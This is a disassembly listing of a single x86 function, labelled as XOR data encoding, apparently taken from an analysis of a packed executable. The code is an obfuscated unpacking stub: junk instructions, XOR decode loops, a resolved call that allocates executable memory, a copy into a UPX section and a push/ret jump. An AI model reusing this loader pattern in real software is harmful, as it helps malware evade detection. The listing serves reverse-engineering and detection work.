Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xbf430c51
add ecx, ecx
sub ecx, ebx
not ebx
popal
mov ecx, ebx
sub ebx, ecx
or ecx, ebx
mov eax, 0
mov ecx, edi
not ebx
mov edx, 0x963c5c0e
mov esi, ecx
dec edx
sub ebx, edx
sub ebx, edx
mov edi, esi
add edx, 0x728e53ce
and edx, edx
inc ebx
add eax, 1
add ebx, ebx
not ebx
sub ebx, edx
cmp eax, 0x100a534
jne 0xa789c4
add edx, 0x13889fcf
mov edx, ebx
sub ebx, 0x9004dd07
or ebx, ebx
mov ebx, 0xa78796
inc esi
not esi
mov ecx, 0xa7898a
dec esi
mov edi, esi
not edx
mov eax, dword [ebx]
dec edi
dec edx
and eax, 0xff
sub edx, edi
add edx, edx
xor dword [ecx], eax
sub edx, 0x8dda41c8
add edx, edx
not edx
add ecx, 1
not edi
sub edx, 0x95d12030
add ebx, 1
sub esi, 0x66cc1ee7
add edi, 0xeb81f3a8
dec edi
cmp ecx, entry0
jl 0xa78a19
inc esi
and esi, edx
mov edi, 0x7c5816ff
mov edi, esi
add edi, edx
mov ecx, 0xf4981162
mov ecx, ebx
mov esi, 0xa7898e
mov ebx, edx
inc ecx
mov esi, dword [esi]
and edx, edi
sub edi, 0xa7689567
mov ecx, edi
mov esi, dword [esi]
or ebx, ebx
dec edi
push esi
add ebx, 0x736429c8
add edx, edi
sub edi, ecx
mov esi, 0xa7898a
or edi, ebx
or edx, ebx
sub edi, edx
mov esi, dword [esi]
not ecx
dec ebx
mov esi, dword [esi]
add edi, ecx
sub ecx, 0x61938371
mov ebx, 0x4c6d2919
push 0xa78992
sub edi, 0xfced45bc
add edx, edi
call esi
or ebx, ecx
mov ebx, 0xd3dad051
add edx, ebx
pop esi
mov ebx, 0x86c3713f
mov ecx, 0x8db4727e
push 0xa7899f
dec edx
dec ebx
push eax
not ecx
not ecx
call esi
mov ecx, edi
not ecx
push 0x40
mov edx, 0xa6d9798b
add ebx, 0x54844c65
push 0x3000
sub ecx, 0x533bc5ca
or ebx, edi
sub edi, 0xf9f0a6c4
push 0x200006e9
dec edx
sub ecx, 0x915ebaf8
push 0
mov ecx, 0x90ce0353
mov edx, ecx
add edi, ebx
call eax
add ebx, ecx
add edi, ebx
add eax, 0x20000646
sub edi, 0x91176993
sub ebx, 0x62a602c7
dec edx
mov esi, 0xb01f9593
add edi, 0x725faa1d
mov ebx, 0xa848a992
mov dword [eax], esi
add edi, edi
sub ecx, 1
mov esi, dword [eax]
add edx, 0x3a1f7d7c
mov ebx, edx
or ebx, ebx
cmp esi, 0xb01f9593
je 0xa78b76
mov eax, 0
mov ebx, dword [eax]
or edi, edx
inc ebx
mov ecx, 0xf92b0cea
not ecx
dec edx
sub ebx, ecx
inc ecx
mov eax, section.UPX1
mov ebx, 0x74eaa337
inc ebx
mov edx, 0xa78795
sub ecx, 1
add ecx, 0x58a98825
mov ecx, ebx
mov esi, 0
mov ebx, 0xa503e800
and ecx, ebx
mov edi, 0xa78796
mov ecx, 0xbd38c0b4
add ebx, 1
lea edi, [esi + edi]
dec ebx
sub ebx, 0x6353d0c6
mov edi, dword [edi]
or ebx, ecx
and ecx, ecx
sub ecx, 0xddc0e267
and edi, 0xff
mov ebx, ecx
sub ecx, 0x2c02c56a
and ebx, ebx
inc esi
sub ecx, ebx
sub ebx, 0x824d9b80
sub ebx, 0xc61d66b2
cmp esi, 0x1f4
jne 0xa78c00
mov esi, 0
add ebx, 0xdbc3e881
sub ebx, 0xe682a8fb
inc ebx
not ebx
xor dword [eax], edi
add ebx, 0xc8e75f75
sub ecx, 0xf93d9f26
add eax, 2
mov ebx, ecx
add ecx, 1
cmp eax, edx
jl 0xa78bae
or ebx, ebx
and ebx, ecx
dec ebx
or ebx, ebx
sub ecx, 0xe1032de2
or ecx, ecx
mov ecx, section.UPX1
add ebx, eax
add eax, 0x764929c5
mov edi, section.UPX1
add eax, eax
not eax
sub eax, 1
mov esi, 0xa78795
sub ebx, 0x575c52cf
inc eax
mov edx, 0
add ebx, 0x8022031c
sub eax, 0x6ebf8afa
mov dl, byte [edi]
add ebx, 0x5d28d357
sub ebx, eax
mov byte [ecx], dl
mov ebx, 0x53cd26f0
mov ebx, eax
inc ecx
add eax, 0xab024db3
and eax, ebx
or ebx, eax
add edi, 2
add eax, 0x131b71ed
add ebx, 0xd35da6b6
or ebx, ebx
cmp edi, esi
jle 0xa78c7b
or ebx, eax
or eax, eax
add eax, 0x8125af85
add ebx, 0xf30a2ddb
mov ecx, 0x2f5eabe0
sub ecx, 0x33643458
push 0x8dc6a0
add ecx, ebx
or ebx, ecx
ret